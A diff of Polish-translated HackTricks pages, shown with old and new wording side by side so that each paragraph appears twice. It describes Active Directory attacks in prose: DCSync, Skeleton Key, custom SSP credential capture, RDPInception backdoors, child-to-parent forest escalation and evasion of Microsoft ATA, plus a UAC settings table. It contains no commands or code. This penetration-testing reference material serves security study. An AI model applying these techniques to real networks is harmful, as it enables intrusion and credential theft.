Również, jeśli instancja MSSQL jest zaufana (link bazy danych) przez inną instancję MSSQL. Jeśli użytkownik ma uprawnienia do zaufanej bazy danych, będzie mógł **wykorzystać relację zaufania do wykonywania zapytań również w innej instancji**. Te zaufania mogą być łączone i w pewnym momencie użytkownik może być w stanie znaleźć źle skonfigurowaną bazę danych, w której może wykonywać polecenia.\
Ponadto, jeśli instancja MSSQL jest zaufana (link bazy danych) przez inną instancję MSSQL. Jeśli użytkownik ma uprawnienia do zaufanej bazy danych, będzie mógł **wykorzystać relację zaufania do wykonywania zapytań również w innej instancji**. Te zaufania mogą być łączone i w pewnym momencie użytkownik może być w stanie znaleźć źle skonfigurowaną bazę danych, w której może wykonywać polecenia.\
**Linki między bazami danych działają nawet w przypadku zaufania między lasami.**
{{#ref}}
@ -327,7 +327,7 @@ printers-spooler-service-abuse.md
### Nadużycie sesji zewnętrznych
Jeśli **inni użytkownicy** **uzyskują dostęp** do **skomplikowanej** maszyny, możliwe jest **zbieranie poświadczeń z pamięci** i nawet **wstrzykiwanie sygnałów do ich procesów**, aby się pod nich podszyć.\
Jeśli **inni użytkownicy** **uzyskują dostęp** do **skomplikowanej** maszyny, możliwe jest **zbieranie poświadczeń z pamięci** i nawet **wstrzykiwanie beaconów w ich procesy**, aby się pod nich podszyć.\
Zazwyczaj użytkownicy uzyskują dostęp do systemu przez RDP, więc oto jak przeprowadzić kilka ataków na sesje RDP osób trzecich:
{{#ref}}
@ -336,7 +336,7 @@ rdp-sessions-abuse.md
### LAPS
**LAPS** zapewnia system zarządzania **hasłem lokalnego administratora** na komputerach dołączonych do domeny, zapewniając, że jest ono **losowe**, unikalne i często **zmieniane**. Te hasła są przechowywane w Active Directory, a dostęp jest kontrolowany przez ACL tylko dla uprawnionych użytkowników. Posiadając wystarczające uprawnienia do uzyskania dostępu do tych haseł, możliwe staje się przejście do innych komputerów.
**LAPS** zapewnia system zarządzania **hasłem lokalnego administratora** na komputerach dołączonych do domeny, zapewniając, że jest **losowe**, unikalne i często **zmieniane**. Te hasła są przechowywane w Active Directory, a dostęp jest kontrolowany przez ACL tylko dla uprawnionych użytkowników. Posiadając wystarczające uprawnienia do uzyskania dostępu do tych haseł, możliwe staje się przejście do innych komputerów.
{{#ref}}
laps.md
@ -364,9 +364,9 @@ ad-certificates/domain-escalation.md
Gdy uzyskasz uprawnienia **Domain Admin** lub jeszcze lepiej **Enterprise Admin**, możesz **zrzucić** **bazę danych domeny**: _ntds.dit_.
[**Więcej informacji o ataku DCSync można znaleźć tutaj**](dcsync.md).
[**Więcej informacji na temat ataku DCSync można znaleźć tutaj**](dcsync.md).
[**Więcej informacji o tym, jak ukraść NTDS.dit można znaleźć tutaj**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
[**Więcej informacji na temat kradzieży NTDS.dit można znaleźć tutaj**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
### Privesc jako Utrzymanie
@ -455,9 +455,9 @@ Możesz **przyznać** pewne **specjalne uprawnienia** użytkownikowi do niektór
acl-persistence-abuse/
{{#endref}}
### Opis bezpieczeństwa
### Opisniki zabezpieczeń
**Opisy bezpieczeństwa** są używane do **przechowywania** **uprawnień**, jakie **obiekt** ma **nad** innym **obiektem**. Jeśli możesz **dokonać** **niewielkiej zmiany** w **opisie bezpieczeństwa** obiektu, możesz uzyskać bardzo interesujące uprawnienia nad tym obiektem bez potrzeby bycia członkiem uprzywilejowanej grupy.
**Opisy zabezpieczeń** są używane do **przechowywania** **uprawnień**, jakie **obiekt** ma **nad** innym **obiektem**. Jeśli możesz **dokonać** **małej zmiany** w **opisie zabezpieczeń** obiektu, możesz uzyskać bardzo interesujące uprawnienia nad tym obiektem bez potrzeby bycia członkiem grupy uprzywilejowanej.
{{#ref}}
security-descriptors.md
@ -465,7 +465,7 @@ security-descriptors.md
### Klucz Szkieletowy
Zmień **LSASS** w pamięci, aby ustanowić **uniwersalne hasło**, dające dostęp do wszystkich kont domenowych.
Zmień **LSASS** w pamięci, aby ustanowić **uniwersalne hasło**, dając dostęp do wszystkich kont domenowych.
{{#ref}}
skeleton-key.md
@ -473,8 +473,8 @@ skeleton-key.md
### Niestandardowy SSP
[Dowiedz się, czym jest SSP (Dostawca Wsparcia Bezpieczeństwa) tutaj.](../authentication-credentials-uac-and-efs/index.html#security-support-provider-interface-sspi)\
Możesz stworzyć **własny SSP**, aby **przechwytywać** w **czystym tekście** **poświadczenia** używane do uzyskania dostępu do maszyny.\\
[Dowiedz się, czym jest SSP (Dostawca Wsparcia Zabezpieczeń) tutaj.](../authentication-credentials-uac-and-efs/index.html#security-support-provider-interface-sspi)\
Możesz stworzyć swój **własny SSP**, aby **przechwytywać** w **czystym tekście** **poświadczenia** używane do uzyskania dostępu do maszyny.\\
{{#ref}}
custom-ssp.md
@ -491,7 +491,7 @@ dcshadow.md
### Utrzymanie LAPS
Wcześniej omawialiśmy, jak eskalować uprawnienia, jeśli masz **wystarczające uprawnienia do odczytu haseł LAPS**. Jednak te hasła mogą być również używane do **utrzymania się**.\
Wcześniej omówiliśmy, jak eskalować uprawnienia, jeśli masz **wystarczające uprawnienia do odczytu haseł LAPS**. Jednak te hasła mogą być również używane do **utrzymania się**.\
Sprawdź:
{{#ref}}
@ -504,15 +504,15 @@ Microsoft postrzega **Las** jako granicę bezpieczeństwa. Oznacza to, że **sko
### Podstawowe informacje
[**Zaufanie domeny**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) to mechanizm bezpieczeństwa, który umożliwia użytkownikowi z jednej **domeny** dostęp do zasobów w innej **domenie**. W zasadzie tworzy to połączenie między systemami uwierzytelniania obu domen, umożliwiając płynne przepływy weryfikacji uwierzytelnienia. Gdy domeny ustanawiają zaufanie, wymieniają i zachowują określone **klucze** w swoich **kontrolerach domeny (DC)**, które są kluczowe dla integralności zaufania.
[**Zaufanie domeny**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) to mechanizm zabezpieczeń, który umożliwia użytkownikowi z jednej **domeny** dostęp do zasobów w innej **domenie**. W zasadzie tworzy to powiązanie między systemami uwierzytelniania obu domen, umożliwiając płynne przepływy weryfikacji uwierzytelnienia. Gdy domeny ustanawiają zaufanie, wymieniają i zachowują określone **klucze** w swoich **kontrolerach domeny (DC)**, które są kluczowe dla integralności zaufania.
W typowym scenariuszu, jeśli użytkownik zamierza uzyskać dostęp do usługi w **zaufanej domenie**, musi najpierw zażądać specjalnego biletu znanego jako **inter-realm TGT** od swojego DC domeny. Ten TGT jest szyfrowany za pomocą wspólnego **klucza**, na który obie domeny się zgodziły. Użytkownik następnie przedstawia ten TGT do **DC zaufanej domeny**, aby uzyskać bilet usługi (**TGS**). Po pomyślnej weryfikacji inter-realm TGT przez DC zaufanej domeny, wydaje TGS, przyznając użytkownikowi dostęp do usługi.
W typowym scenariuszu, jeśli użytkownik zamierza uzyskać dostęp do usługi w **zaufanej domenie**, musi najpierw zażądać specjalnego biletu znanego jako **inter-realm TGT** z DC swojej własnej domeny. Ten TGT jest szyfrowany za pomocą wspólnego **klucza**, na który obie domeny się zgodziły. Użytkownik następnie przedstawia ten TGT do **DC zaufanej domeny**, aby uzyskać bilet usługi (**TGS**). Po pomyślnej weryfikacji inter-realm TGT przez DC zaufanej domeny, wydaje TGS, przyznając użytkownikowi dostęp do usługi.
**Kroki**:
1. **Klient komputer** w **Domenie 1** rozpoczyna proces, używając swojego **hasza NTLM**, aby zażądać **Biletu Przyznawania Biletów (TGT)** od swojego **Kontrolera Domeny (DC1)**.
2. DC1 wydaje nowy TGT, jeśli klient zostanie pomyślnie uwierzytelniony.
3. Klient następnie żąda **inter-realm TGT** od DC1, który jest potrzebny do uzyskania dostępu do zasobów w **Domenie 2**.
3. Klient następnie żąda **inter-realm TGT** z DC1, który jest potrzebny do uzyskania dostępu do zasobów w **Domenie 2**.
4. Inter-realm TGT jest szyfrowany za pomocą **klucza zaufania** współdzielonego między DC1 a DC2 w ramach dwukierunkowego zaufania domen.
5. Klient zabiera inter-realm TGT do **Kontrolera Domeny 2 (DC2)**.
6. DC2 weryfikuje inter-realm TGT za pomocą swojego współdzielonego klucza zaufania i, jeśli jest ważny, wydaje **Bilet Usługi Przyznawania Biletów (TGS)** dla serwera w Domenie 2, do którego klient chce uzyskać dostęp.
@ -520,28 +520,28 @@ W typowym scenariuszu, jeśli użytkownik zamierza uzyskać dostęp do usługi w
### Różne zaufania
Ważne jest, aby zauważyć, że **zaufanie może być jednostronne lub dwustronne**. W przypadku opcji dwustronnej obie domeny będą sobie ufać, ale w przypadku **jednostronnego** zaufania jedna z domen będzie **zaufana**, a druga **ufająca**. W ostatnim przypadku **możesz uzyskać dostęp do zasobów wewnątrz ufającej domeny tylko z zaufanej**.
Ważne jest, aby zauważyć, że **zaufanie może być jednostronne lub dwustronne**. W przypadku opcji dwustronnej obie domeny będą sobie ufać, ale w relacji **jednostronnej** jedna z domen będzie **zaufana**, a druga **ufająca**. W ostatnim przypadku **możesz uzyskać dostęp do zasobów wewnątrz domeny ufającej tylko z zaufanej**.
Jeśli Domen A ufa Domenie B, A jest ufającą domeną, a B jest zaufaną. Ponadto, w **Domenie A**, byłoby to **zaufanie wychodzące**; a w **Domenie B**, byłoby to **zaufanie przychodzące**.
Jeśli Domen A ufa Domenie B, A jest domeną ufającą, a B jest zaufaną. Ponadto, w **Domenie A** byłoby to **zaufanie wychodzące**; a w **Domenie B** byłoby to **zaufanie przychodzące**.
**Różne relacje zaufania**
- **Zaufania Rodzic-Dziecko**: To powszechna konfiguracja w obrębie tego samego lasu, gdzie domena dziecka automatycznie ma dwustronne zaufanie z domeną rodzica. Oznacza to, że żądania uwierzytelnienia mogą płynnie przepływać między rodzicem a dzieckiem.
- **Zaufania Rodzic-Dziecko**: To powszechna konfiguracja w obrębie tego samego lasu, gdzie domena dziecka automatycznie ma dwukierunkowe zaufanie z domeną rodzica. Oznacza to, że żądania uwierzytelnienia mogą płynnie przepływać między rodzicem a dzieckiem.
- **Zaufania Krzyżowe**: Nazywane "zaufaniami skrótowymi", są ustanawiane między domenami dziecka, aby przyspieszyć procesy referencyjne. W złożonych lasach, referencje uwierzytelniające zazwyczaj muszą podróżować do korzenia lasu, a następnie w dół do docelowej domeny. Tworząc zaufania krzyżowe, podróż jest skracana, co jest szczególnie korzystne w geograficznie rozproszonych środowiskach.
- **Zaufania Zewnętrzne**: Te są ustanawiane między różnymi, niepowiązanymi domenami i są z natury nietransakcyjne. Zgodnie z [dokumentacją Microsoftu](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>), zaufania zewnętrzne są przydatne do uzyskiwania dostępu do zasobów w domenie poza bieżącym lasem, która nie jest połączona przez zaufanie lasu. Bezpieczeństwo jest wzmacniane przez filtrowanie SID w przypadku zaufania zewnętrznych.
- **Zaufania Zewnętrzne**: Te są ustanawiane między różnymi, niepowiązanymi domenami i są z natury nietransitywne. Zgodnie z [dokumentacją Microsoftu](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>), zaufania zewnętrzne są przydatne do uzyskiwania dostępu do zasobów w domenie poza bieżącym lasem, która nie jest połączona przez zaufanie lasu. Bezpieczeństwo jest wzmacniane przez filtrowanie SID w przypadku zaufania zewnętrznych.
- **Zaufania Korzeni Drzewa**: Te zaufania są automatycznie ustanawiane między domeną korzenia lasu a nowo dodanym korzeniem drzewa. Chociaż nie są powszechnie spotykane, zaufania korzeni drzewa są ważne dla dodawania nowych drzew domen do lasu, umożliwiając im utrzymanie unikalnej nazwy domeny i zapewniając dwukierunkową transytywność. Więcej informacji można znaleźć w [przewodniku Microsoftu](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>).
- **Zaufania Lasu**: Ten typ zaufania to dwustronne zaufanie transytywne między dwoma domenami korzenia lasu, również egzekwujące filtrowanie SID w celu wzmocnienia środków bezpieczeństwa.
- **Zaufania MIT**: Te zaufania są ustanawiane z domenami Kerberos zgodnymi z [RFC4120](https://tools.ietf.org/html/rfc4120), które nie są systemami Windows. Zaufania MIT są nieco bardziej wyspecjalizowane i odpowiadają środowiskom wymagającym integracji z systemami opartymi na Kerberos poza ekosystemem Windows.
- **Zaufania Lasu**: Ten typ zaufania to dwukierunkowe zaufanie transytywne między dwoma domenami korzenia lasu, również egzekwując filtrowanie SID w celu wzmocnienia środków bezpieczeństwa.
- **Zaufania MIT**: Te zaufania są ustanawiane z domenami Kerberos, które nie są systemami Windows i są zgodne z [RFC4120](https://tools.ietf.org/html/rfc4120). Zaufania MIT są nieco bardziej wyspecjalizowane i odpowiadają środowiskom wymagającym integracji z systemami opartymi na Kerberos poza ekosystemem Windows.
#### Inne różnice w **relacjach zaufania**
- Relacja zaufania może być również **transytywna** (A ufa B, B ufa C, więc A ufa C) lub **nietransytywna**.
- Relacja zaufania może być skonfigurowana jako **zaufanie dwukierunkowe** (obie sobie ufają) lub jako **zaufanie jednostronne** (tylko jedna z nich ufa drugiej).
- Relacja zaufania może być ustanowiona jako **zaufanie dwukierunkowe** (obie sobie ufają) lub jako **zaufanie jednostronne** (tylko jedna z nich ufa drugiej).
### Ścieżka ataku
1. **Wymień** relacje zaufania
2. Sprawdź, czy jakikolwiek **podmiot bezpieczeństwa** (użytkownik/grupa/komputer) ma **dostęp** do zasobów **innej domeny**, być może przez wpisy ACE lub będąc w grupach innej domeny. Szukaj **relacji między domenami** (zaufanie zostało prawdopodobnie utworzone dla tego).
2. Sprawdź, czy jakikolwiek **podmiot zabezpieczeń** (użytkownik/grupa/komputer) ma **dostęp** do zasobów **innej domeny**, być może przez wpisy ACE lub będąc w grupach innej domeny. Szukaj **relacji między domenami** (zaufanie zostało prawdopodobnie utworzone dla tego).
1. Kerberoast w tym przypadku może być inną opcją.
3. **Skompromituj** **konta**, które mogą **przejść** przez domeny.
@ -549,7 +549,7 @@ Atakujący mogą uzyskać dostęp do zasobów w innej domenie za pomocą trzech
- **Członkostwo w grupie lokalnej**: Podmioty mogą być dodawane do lokalnych grup na maszynach, takich jak grupa "Administratorzy" na serwerze, co daje im znaczne uprawnienia nad tą maszyną.
- **Członkostwo w grupie domeny obcej**: Podmioty mogą być również członkami grup w domenie obcej. Jednak skuteczność tej metody zależy od charakteru zaufania i zakresu grupy.
- **Listy Kontroli Dostępu (ACL)**: Podmioty mogą być określone w **ACL**, szczególnie jako podmioty w **ACE** w ramach **DACL**, co daje im dostęp do określonych zasobów. Dla tych, którzy chcą zagłębić się w mechanikę ACL, DACL i ACE, dokument zatytułowany “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” jest cennym źródłem.
- **Listy Kontroli Dostępu (ACL)**: Podmioty mogą być określone w **ACL**, szczególnie jako podmioty w **ACE** w ramach **DACL**, co daje im dostęp do określonych zasobów. Dla tych, którzy chcą zgłębić mechanikę ACL, DACL i ACE, dokument zatytułowany “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” jest cennym źródłem.
### Eskalacja uprawnień z dziecka do rodzica w lesie
```
@ -574,39 +574,39 @@ WhenChanged : 2/19/2021 1:28:00 PM
#### Wstrzykiwanie SID-History
Wznieś się jako administrator Enterprise do domeny dziecka/rodzica, wykorzystując zaufanie z wstrzykiwaniem SID-History:
Wznieś się jako administrator przedsiębiorstwa do domeny dziecka/rodzica, wykorzystując zaufanie z wstrzykiwaniem SID-History:
{{#ref}}
sid-history-injection.md
{{#endref}}
#### Wykorzystanie zapisywalnego Configuration NC
#### Wykorzystanie zapisywalnego NC Konfiguracji
Zrozumienie, jak Configuration Naming Context (NC) może być wykorzystywane, jest kluczowe. Configuration NC służy jako centralne repozytorium danych konfiguracyjnych w całym lesie w środowiskach Active Directory (AD). Dane te są replikowane do każdego kontrolera domeny (DC) w lesie, a zapisywalne DC utrzymują zapisywalną kopię Configuration NC. Aby to wykorzystać, należy mieć **uprawnienia SYSTEM na DC**, najlepiej na DC dziecka.
Zrozumienie, jak NC Konfiguracji (Naming Context) może być wykorzystywane, jest kluczowe. NC Konfiguracji służy jako centralne repozytorium danych konfiguracyjnych w całym lesie w środowiskach Active Directory (AD). Dane te są replikowane do każdego kontrolera domeny (DC) w lesie, a zapisywalne DC utrzymują zapisywalną kopię NC Konfiguracji. Aby to wykorzystać, należy mieć **uprawnienia SYSTEM na DC**, najlepiej na DC dziecka.
**Połącz GPO z witryną główną DC**
**Połącz GPO z głównym DC**
Kontener Sites w Configuration NC zawiera informacje o witrynach wszystkich komputerów dołączonych do domeny w lesie AD. Działając z uprawnieniami SYSTEM na dowolnym DC, atakujący mogą połączyć GPO z witrynami głównymi DC. Działanie to potencjalnie kompromituje domenę główną poprzez manipulację politykami stosowanymi do tych witryn.
Kontener Sites NC Konfiguracji zawiera informacje o wszystkich komputerach dołączonych do domeny w lesie AD. Działając z uprawnieniami SYSTEM na dowolnym DC, atakujący mogą połączyć GPO z głównymi witrynami DC. Działanie to potencjalnie kompromituje główną domenę poprzez manipulację politykami stosowanymi do tych witryn.
Aby uzyskać szczegółowe informacje, można zbadać badania na temat [Bypassing SID Filtering](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research).
Aby uzyskać szczegółowe informacje, można zbadać badania na temat [Obchodzenia filtrowania SID](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research).
**Kompromitacja dowolnego gMSA w lesie**
Wektor ataku polega na celowaniu w uprzywilejowane gMSA w domenie. Klucz KDS Root, niezbędny do obliczania haseł gMSA, jest przechowywany w Configuration NC. Posiadając uprawnienia SYSTEM na dowolnym DC, można uzyskać dostęp do klucza KDS Root i obliczyć hasła dla dowolnego gMSA w całym lesie.
Wektor ataku polega na celowaniu w uprzywilejowane gMSA w domenie. Klucz KDS Root, niezbędny do obliczania haseł gMSA, jest przechowywany w NC Konfiguracji. Posiadając uprawnienia SYSTEM na dowolnym DC, można uzyskać dostęp do klucza KDS Root i obliczyć hasła dla dowolnego gMSA w całym lesie.
Szczegółowa analiza znajduje się w dyskusji na temat [Golden gMSA Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent).
Szczegółowa analiza znajduje się w dyskusji na temat [Złotych ataków gMSA Trust](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent).
**Atak zmiany schematu**
Ta metoda wymaga cierpliwości, czekając na utworzenie nowych uprzywilejowanych obiektów AD. Posiadając uprawnienia SYSTEM, atakujący może zmodyfikować schemat AD, aby przyznać dowolnemu użytkownikowi pełną kontrolę nad wszystkimi klasami. Może to prowadzić do nieautoryzowanego dostępu i kontroli nad nowo utworzonymi obiektami AD.
Dalsze czytanie dostępne jest na temat [Schema Change Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent).
Dalsze czytanie dostępne jest na temat [Ataków zaufania zmiany schematu](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent).
**Z DA do EA z ADCS ESC5**
Luka ADCS ESC5 celuje w kontrolę nad obiektami Public Key Infrastructure (PKI), aby stworzyć szablon certyfikatu, który umożliwia uwierzytelnienie jako dowolny użytkownik w lesie. Ponieważ obiekty PKI znajdują się w Configuration NC, kompromitacja zapisywalnego DC dziecka umożliwia przeprowadzenie ataków ESC5.
Luka ADCS ESC5 celuje w kontrolę nad obiektami infrastruktury klucza publicznego (PKI), aby utworzyć szablon certyfikatu, który umożliwia uwierzytelnienie jako dowolny użytkownik w lesie. Ponieważ obiekty PKI znajdują się w NC Konfiguracji, kompromitacja zapisywalnego DC dziecka umożliwia przeprowadzenie ataków ESC5.
Więcej szczegółów można przeczytać w [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c). W scenariuszach bez ADCS, atakujący ma możliwość skonfigurowania niezbędnych komponentów, jak omówiono w [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/).
Więcej szczegółów można przeczytać w [Z DA do EA z ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c). W scenariuszach bez ADCS atakujący ma możliwość skonfigurowania niezbędnych komponentów, jak omówiono w [Wzmacnianiu z administratorów domeny dziecka do administratorów przedsiębiorstwa](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/).
### Zewnętrzna domena lasu - jednokierunkowa (przychodząca) lub dwukierunkowa
```powershell
@ -648,7 +648,7 @@ external-forest-domain-one-way-outbound.md
Innym sposobem na skompromitowanie zaufanej domeny jest znalezienie [**zaufanego linku SQL**](abusing-ad-mssql.md#mssql-trusted-links) utworzonego w **przeciwnym kierunku** zaufania domeny (co nie jest zbyt powszechne).
Innym sposobem na skompromitowanie zaufanej domeny jest czekanie na maszynie, na której **użytkownik z zaufanej domeny może uzyskać dostęp** do logowania przez **RDP**. Następnie atakujący mógłby wstrzyknąć kod w proces sesji RDP i **uzyskać dostęp do domeny źródłowej ofiary** stamtąd.\
Co więcej, jeśli **ofiara zamontowała swój dysk twardy**, z procesu **sesji RDP** atakujący mógłby przechowywać **tylnie drzwi** w **folderze autostartu dysku twardego**. Ta technika nazywa się **RDPInception.**
Co więcej, jeśli **ofiara zamontowała swój dysk twardy**, z procesu sesji **RDP** atakujący mógłby przechowywać **tylnie drzwi** w **folderze autostartu dysku twardego**. Ta technika nazywa się **RDPInception.**
{{#ref}}
rdp-sessions-abuse.md
@ -699,8 +699,8 @@ https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movement
- **Omijanie wykrywania Microsoft ATA**:
- **Enumeracja użytkowników**: Unikanie enumeracji sesji na kontrolerach domeny, aby zapobiec wykryciu przez ATA.
- **Impersonacja biletów**: Wykorzystanie kluczy **aes** do tworzenia biletów pomaga unikać wykrycia, nie obniżając poziomu do NTLM.
- **Ataki DCSync**: Zaleca się wykonywanie z nie-kontrolera domeny, aby uniknąć wykrycia przez ATA, ponieważ bezpośrednie wykonanie z kontrolera domeny wywoła alerty.
- **Impersonacja biletu**: Wykorzystanie kluczy **aes** do tworzenia biletów pomaga unikać wykrycia, nie obniżając się do NTLM.
- **Ataki DCSync**: Zaleca się wykonywanie z niekontrolera domeny, aby uniknąć wykrycia przez ATA, ponieważ bezpośrednie wykonanie z kontrolera domeny wywoła alerty.
## Odnośniki

View File

@ -14,20 +14,20 @@ Aby uzyskać więcej informacji na temat poziomów integralności:
Gdy UAC jest aktywne, użytkownik z uprawnieniami administratora otrzymuje 2 tokeny: standardowy klucz użytkownika, aby wykonywać regularne działania na poziomie zwykłym, oraz jeden z uprawnieniami administratora.
Ta [strona](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) szczegółowo omawia, jak działa UAC, w tym proces logowania, doświadczenie użytkownika i architekturę UAC. Administratorzy mogą używać polityk bezpieczeństwa do konfigurowania, jak UAC działa w ich organizacji na poziomie lokalnym (używając secpol.msc) lub konfigurować i wdrażać za pomocą Obiektów Polityki Grupowej (GPO) w środowisku domeny Active Directory. Różne ustawienia są szczegółowo omówione [tutaj](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings). Istnieje 10 ustawień Polityki Grupowej, które można ustawić dla UAC. Poniższa tabela zawiera dodatkowe szczegóły:
Ta [strona](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) szczegółowo omawia, jak działa UAC, w tym proces logowania, doświadczenie użytkownika i architekturę UAC. Administratorzy mogą używać polityk bezpieczeństwa do konfigurowania działania UAC specyficznie dla swojej organizacji na poziomie lokalnym (używając secpol.msc) lub skonfigurować i wdrożyć za pomocą Obiektów Polityki Grupowej (GPO) w środowisku domeny Active Directory. Różne ustawienia są szczegółowo omówione [tutaj](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings). Istnieje 10 ustawień Polityki Grupowej, które można ustawić dla UAC. Poniższa tabela zawiera dodatkowe szczegóły:
| Ustawienie Polityki Grupowej | Klucz Rejestru | Ustawienie Domyślne |
| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | --------------------------- | ------------------------------------------------------------ |
| Ustawienie Polityki Grupowej | Klucz Rejestru | Ustawienie Domyślne |
| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | --------------------------- | ----------------------------------------------------------- |
| [Kontrola Konta Użytkownika: Tryb Zatwierdzania Administratora dla wbudowanego konta Administratora](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-admin-approval-mode-for-the-built-in-administrator-account) | FilterAdministratorToken | Wyłączone |
| [Kontrola Konta Użytkownika: Zezwól aplikacjom UIAccess na wyświetlanie komunikatu o podwyższeniu bez użycia bezpiecznego pulpitu](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-allow-uiaccess-applications-to-prompt-for-elevation-without-using-the-secure-desktop) | EnableUIADesktopToggle | Wyłączone |
| [Kontrola Konta Użytkownika: Zachowanie komunikatu o podwyższeniu dla administratorów w Trybie Zatwierdzania Administratora](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-administrators-in-admin-approval-mode) | ConsentPromptBehaviorAdmin | Wyświetl komunikat o zgodę dla nie-Windowsowych binariów |
| [Kontrola Konta Użytkownika: Zachowanie komunikatu o podwyższeniu dla standardowych użytkowników](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-standard-users) | ConsentPromptBehaviorUser | Wyświetl komunikat o dane uwierzytelniające na bezpiecznym pulpicie |
| [Kontrola Konta Użytkownika: Wykrywanie instalacji aplikacji i wyświetlanie komunikatu o podwyższeniu](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-detect-application-installations-and-prompt-for-elevation) | EnableInstallerDetection | Włączone (domyślne dla domów) Wyłączone (domyślne dla przedsiębiorstw) |
| [Kontrola Konta Użytkownika: Zachowanie komunikatu o podwyższeniu dla administratorów w Trybie Zatwierdzania Administratora](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-administrators-in-admin-approval-mode) | ConsentPromptBehaviorAdmin | Prośba o zgodę dla nie-Windowsowych binariów |
| [Kontrola Konta Użytkownika: Zachowanie komunikatu o podwyższeniu dla standardowych użytkowników](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-standard-users) | ConsentPromptBehaviorUser | Prośba o dane uwierzytelniające na bezpiecznym pulpicie |
| [Kontrola Konta Użytkownika: Wykrywanie instalacji aplikacji i prośba o podwyższenie](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-detect-application-installations-and-prompt-for-elevation) | EnableInstallerDetection | Włączone (domyślnie dla domów) Wyłączone (domyślnie dla przedsiębiorstw) |
| [Kontrola Konta Użytkownika: Tylko podwyższaj wykonywalne, które są podpisane i zweryfikowane](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-executables-that-are-signed-and-validated) | ValidateAdminCodeSignatures | Wyłączone |
| [Kontrola Konta Użytkownika: Tylko podwyższaj aplikacje UIAccess, które są zainstalowane w bezpiecznych lokalizacjach](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-uiaccess-applications-that-are-installed-in-secure-locations) | EnableSecureUIAPaths | Włączone |
| [Kontrola Konta Użytkownika: Uruchom wszystkich administratorów w Trybie Zatwierdzania Administratora](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-run-all-administrators-in-admin-approval-mode) | EnableLUA | Włączone |
| [Kontrola Konta Użytkownika: Przełącz na bezpieczny pulpit podczas wyświetlania komunikatu o podwyższeniu](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-switch-to-the-secure-desktop-when-prompting-for-elevation) | PromptOnSecureDesktop | Włączone |
| [Kontrola Konta Użytkownika: Wirtualizuj błędy zapisu plików i rejestru do lokalizacji per-user](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-virtualize-file-and-registry-write-failures-to-per-user-locations) | EnableVirtualization | Włączone |
| [Kontrola Konta Użytkownika: Tylko podwyższaj aplikacje UIAccess, które są zainstalowane w bezpiecznych lokalizacjach](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-uiaccess-applications-that-are-installed-in-secure-locations) | EnableSecureUIAPaths | Włączone |
